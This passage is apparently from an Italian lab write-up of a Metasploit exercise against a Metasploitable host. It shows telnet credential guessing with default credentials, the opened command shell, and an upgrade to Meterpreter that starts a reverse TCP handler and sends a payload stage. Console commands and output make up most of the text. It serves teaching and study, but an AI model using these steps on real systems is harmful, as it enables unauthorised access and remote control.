

Ho impostato l'opzione `STOP_ON_SUCCESS` su `true` per interrompere l'attacco al primo riscontro positivo ed evitare "rumore" inutile sulla rete.

Module options (auxiliary/scanner/telnet/telnet_login):

Name	Current Setting	Required	Description
ANONYMOUS_LOGIN	false	yes	Attempt to login with a blank username and password
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to brute-force, from 0 to 5
CreateSession	true	no	Create a new session for every successful login
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
PASSWORD	msfadmin	no	A specific password to authenticate with
PASS_FILE		no	File containing passwords, one per line
RHOSTS	192.168.1.149	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
STOP_ON_SUCCESS	true	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads (max one per host)
USERNAME	msfadmin	no	A specific username to authenticate as
USERPASS_FILE		no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE		no	File containing usernames, one per line
VERBOSE	true	yes	Whether to print output for all attempts

Fig 2: Configurazione dei parametri di attacco (Username, Password, Rhosts).

Risultato: Il modulo ha avuto successo immediato ("Login Successful"), aprendo automaticamente la **Sessione 1** (Command Shell).

```
msf auxiliary(scanner/telnet/telnet_login) > run
[*] 192.168.1.149:23 - 192.168.1.149:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.1.149:23 - Attempting to start session 192.168.1.149:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.1.2:42893 → 192.168.1.149:23) at 2026-01-20 08:53:42 -0500
[*] 192.168.1.149:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_login) > sessions -i

Active sessions
--
Id  Name  Type  Information                                     Connection
--
1   shell TELNET msfadmin:msfadmin (192.168.1.149:23) 192.168.1.2:42893 → 192.168.1.149:23 (192.168.1.149)
```

Fig 3: Login riuscito e apertura della sessione 1.

4. FASE 3: INTERAZIONE E PREPARAZIONE

Prima di procedere all'upgrade della shell, ho verificato la stabilità della connessione:

1. Ho interagito con la sessione (`sessions -i 1`) per confermare l'accesso al prompt dei comandi.
2. Ho messo la sessione in background (`Ctrl+Z` e conferma `y`) per tornare alla console di Metasploit e preparare il modulo successivo.

```
msf auxiliary(scanner/telnet/telnet_login) > sessions -i 1
[*] Starting interaction with 1 ...

msfadmin@metasploitable:~$ ^Z
Background session 1? [y/N] y
msf auxiliary(scanner/telnet/telnet_login) > options
```

Fig 4: Interazione con la shell e messa in background.

5. FASE 4: UPGRADE A METERPRETER (POST-EXPLOITATION)

L'obiettivo finale era convertire la shell limitata in una sessione Meterpreter completa.

5.1 Troubleshooting (Errore di Sintassi)

Nel tentare di caricare il modulo di post-exploitation, ho riscontrato un errore comune di digitazione. Ho inserito il percorso del modulo direttamente come comando (`post/multi/manage/shell_to_meterpreter`) invece di caricarlo. Metasploit ha restituito l'errore: `[*] Unknown command`.

```
msf auxiliary(scanner/telnet/telnet_login) > post/multi/manage/shell_to_meterpreter
[*] Unknown command: post/multi/manage/shell_to_meterpreter. Run the help command for more details.
This is a module we can load. Do you want to use post/multi/manage/shell_to_meterpreter? [y/N] y
```

Fig 5: Errore di sintassi e correzione automatica suggerita dalla console.

Soluzione: Ho corretto l'errore utilizzando il comando `use` o accettando il suggerimento interattivo della console, caricando correttamente il modulo.

5.2 Esecuzione Upgrade

Configurato il modulo collegandolo alla sessione precedentemente ottenuta (`set SESSION 1`), ho lanciato l'exploit. Il sistema ha inviato lo "stage" (payload) e ha aperto correttamente la **Meterpreter session 2**.

```
msf post(multi/manage/shell_to_meterpreter) > run
[*] SESSION may not be compatible with this module:
[*] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.1.2:4433
[*] Sending stage (1062760 bytes) to 192.168.1.149
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.25/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] Meterpreter session 2 opened (192.168.1.2:4433 -> 192.168.1.149:53490) at 2026-01-20 08:59:50 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) > |
```

Fig 6: Apertura corretta della sessione Meterpreter.

6. CONCLUSIONI

L'esercitazione ha evidenziato aspetti critici della sicurezza offensiva e difensiva:

1. **Vulnerabilità:** Il protocollo Telnet trasmette le credenziali in chiaro. Un attaccante in ascolto sulla rete (Sniffing) avrebbe potuto catturare username e password senza nemmeno dover ricorrere al brute-force.
2. **Strumenti:** Metasploit semplifica drasticamente il passaggio da una vulnerabilità nota all'esecuzione di codice remoto, rendendo accessibili attacchi complessi.
3. **Metodologia:** L'errore riscontrato nella Fase 4 dimostra l'importanza di conoscere la sintassi corretta (`use` vs esecuzione diretta) per operare con efficienza durante un penetration test.